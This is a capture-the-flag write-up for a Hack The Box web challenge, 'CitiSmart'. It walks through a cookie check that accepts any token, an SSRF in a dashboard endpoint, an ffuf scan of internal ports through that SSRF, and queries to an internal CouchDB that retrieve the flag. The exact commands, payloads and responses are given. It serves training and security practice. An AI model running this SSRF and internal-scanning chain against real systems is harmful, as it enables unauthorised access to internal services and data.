CHALLENGE NAME#
CitiSmart#
Citismart is an innovative Smart City monitoring platform aimed at detecting anomalies in public sector operations. We invite you to explore the application for any potential vulnerabilities and uncover the hidden flag within its depths.
📝 Related Bug Bounty Reports
Bug Report #1Â -Â Expose Hidden Endpoints
Bug Report #2Â -Â SSRF
Firstly, by reading the writeups about SSRF and juicy endpoints hidden in JS files (which were provided for the challenge), I got a rough idea of what I might be dealing with. So, I jumped straight in, visited the website, and started exploring. But honestly, there wasn’t much just a login page, no registration or anything else really useful on the surface.
'/api/dashboard/endpoints',
'/api/dashboard/metrics'
When I visited them, they both gave me the same error:
{'message': "Cookie Token is not found"
So I tried adding a cookie header. Still the same message. But then I tried adding just a random value literally just one character and surprisingly, it worked. It wasn’t validating the token at all; it just wanted something to be there
Cookie: token=a
Boom , with that header, both endpoints started giving me real responses.
I noticed the response contained some urls
, sector
, status
, and lastcheck
, but I had no idea what they were for. I started poking around, and out of curiosity, changed the request method from GET
to POST
. This time, the response changed it complained that url
and sector
were missing, and from that, I figured out it was expecting a JSON body.
So I crafted a request with JSON format, added my own URL, and just like that, it was accepted. I fired up my control server, added my own link to the body and got a hit. This was the SSRF spot.
Even better, I realized that doing a GET
request on /api/dashboard/endpoints
actually lists the URLs that were added confirming my link had been saved.
Then I tried checking /api/dashboard/metrics
using the same cookie header and it gave a response. At first, I didn’t understand what I was seeing. But after some digging, it hit me: this metrics
endpoint was showing the actual response of the URL that had been added in the /api/dashboard/endpoints
.
With that, I knew exactly what to do next port scanning via SSRF. I loaded up ffuf
and began scanning internal ports.
After some testing, I figured out the difference between open and closed ports based on the errors returned:
- Open ports throw an error:
{"status":"error","message":"Request failed with status code 404"}
- Closed ports throw:
Connection Refused 127.0.01:Port
❯ ffuf -X POST -u "http://94.237.50.221:59636/api/dashboard/endpoints/" -w "ports.txt" -H "Cookie: token=a" -H "Content-Type: application/json" -d '{"url": "http://127.0.0.1:FUZZ","sector": "Business District"}' -fw 3
SNIP................
80 [Status: 500, Size: 66, Words: 6, Lines: 1, Duration: 278ms]
3000 [Status: 500, Size: 66, Words: 6, Lines: 1, Duration: 193ms]
5000 [Status: 500, Size: 66, Words: 6, Lines: 1, Duration: 183ms]
5984 [Status: 500, Size: 66, Words: 6, Lines: 1, Duration: 242ms]
5986 [Status: 500, Size: 66, Words: 6, Lines: 1, Duration: 249ms]
35020 [Status: 500, Size: 58, Words: 4, Lines: 1, Duration: 163ms]
45003 [Status: 500, Size: 57, Words: 4, Lines: 1, Duration: 5163ms]
Some of these ports stood out. I started mapping them to common services:
Port | Used By | Purpose |
---|---|---|
80 | Web servers (Apache, Nginx) | Serving HTTP |
3000 | React, Node/Express dev | Frontend/backend dev |
5000 | Flask, Node, Python APIs | API/backend dev |
5984 | CouchDB | RESTful database interface |
5986 | WinRM (HTTPS) | Windows remote management (encrypted) |
Then I started probing each one manually using the endpoint + metrics trick. When I hit port 5984, something clicked.
I sent:
{"url": "http://127.0.0.1:5984","sector": "SSRF"}
And I saw that it was running CouchDB services on internal port 5984
"{\"couchdb\":\"Welcome\",\"version\":\"2.3.1\",\"git_sha\":\"c298091a4\",\"uuid\":\"96ac27bf6891f9781a4bf6168ca39343\",\"features\":[\"pluggable-storage-engines\",\"scheduler\"],\"vendor\":{\"name\":\"The Apache Software Foundation\"}}",
I wasn’t too familiar with CouchDB, but after some quick Googling and reading a couple of writeups, I was ready to dive in.
References I used:
- https://0xdf.gitlab.io/2018/09/15/htb-canape.html#coucheb-execution
- https://docs.couchdb.org/en/stable/http-routingtable.html
I started by checking all available databases:
{"url": "http://127.0.0.1:5984/_all_dbs","sector": "SSRF1"}
Found one called citismart
:
"SSRF1":"[\"citismart\"]"
Then I hit the _changes
endpoint this gives back the changes made to a CouchDB database, including document IDs
{
"url":"http://127.0.0.1:5984/citismart/_changes","sector":"SSRF6"
}
And boom , there it was: the FLAG ID sitting right in the response
"SSRF6":"{\"results\":[{\"seq\":\"111-g1AAAAF1eJzLYWBg4MhgTmEQTM4vTc5ISXIwNDLXMwBCwxygFFMiQ5L8____szKYE_NzgQLsKeYpJsnJydg04DEmSQFIJtmDTEpkwKfOAaQunrC6BJC6eoLq8liAJEMDkAIqnU-M2gUQtfuJUXsAovY-MWofQNSC3JsFANYXZ3o\",\"id\":\"monitoring_endpoints\",\"changes\":[{\"rev\":\"111-4da85cbadae8e4f80ee52fbfcc0b6ae2\"}]},{\"seq\":\"112-g1AAAAHLeJzLYWBg4MhgTmEQTM4vTc5ISXIwNDLXMwBCwxygFFMiQ5L8____szKYE_NzgQLsKeYpJsnJydg04DEmSQFIJtmDTEpkwKfOAaQuHmojA9jGZLO0JKOk1BQGztK8lNS0zLzUFHwmJIBMqCdoUx4LkGRoAFJApfOJUbsAonY_MWoPQNTeR_giySTJMi3RkEhfQEx5ADEFHBaMYFMszZMNDZIssOnLAgBdV33p\",\"id\":\"FLAG\",\"changes\":[{\"rev\":\"1-f82498d0e1c190e961a9a1fbeb4af2c8\"}]},{\"seq\":\"113-g1AAAAIHeJyVz00OgjAQBeBRTNSlJ9ATGAqVn5XcRDsdSCUIK9Z6E72J3kRvgoWSqAlBTJNpMn39kpcBwExZBAtZlFIRRszx17Y-LNNPYwG4rKoqVZYojnoxJZ-4lLLrQw-DKz1x20rQSAE5nss3BPMypzg55DH1CVEt7L4E6SXoYDxU2NfCqRVGjcA9hqEb_Nkmn-gJZ31p7JIK-Jm9muxtSPZuso93T-QYJoIN7GmUp1E-uoa-ZDZ2dk1fZC6MSg\",\"id\":\"user:citismart_admin\",\"changes\":[{\"rev\":\"1-74bf9a9004c8d20ebe724790db806409\"}]}],\"last_seq\":\"113-g1AAAAI7eJyV0FEOgjAMANApJuqnJ9ATGAYDti-5idJ1BAnCF996E72J3kRvgoORoAkhkCVd0qYvbTNCyCqxkGxkUcoEIaROsLf1o5kuzSMC26qq0sSKiotOLDFAJqXsaxhgYKcjHFqJNBJHx3eZh2Rd5qjic65wSAhr4fgnSD8GB9RY4VQL11aYNQLzKQiXT9wmX-hIbvrT2L2bR7mCAhcj5zHKwyjPTmFcUG_0VkZ5GeXdKcBAxBGdpHyM8nMfEUhqQ-990i_O1Jnt\",\"pending\":0}",
Now it was just about time grabbing the final document:
{
"url":"http://127.0.0.1:5984/citismart/FLAG?include_docs=true","sector":"SSRF7"
}
And finally, I had the flag in hand:
"SSRF7":"{\"_id\":\"FLAG\",\"_rev\":\"1-f82498d0e1c190e961a9a1fbeb4af2c8\",\"value\":\"HTB{sm4rt_cit1_but_n0t_s3cur3_8f8e73b133aab7c5ec2d45e3a5a4670d}\"}"}}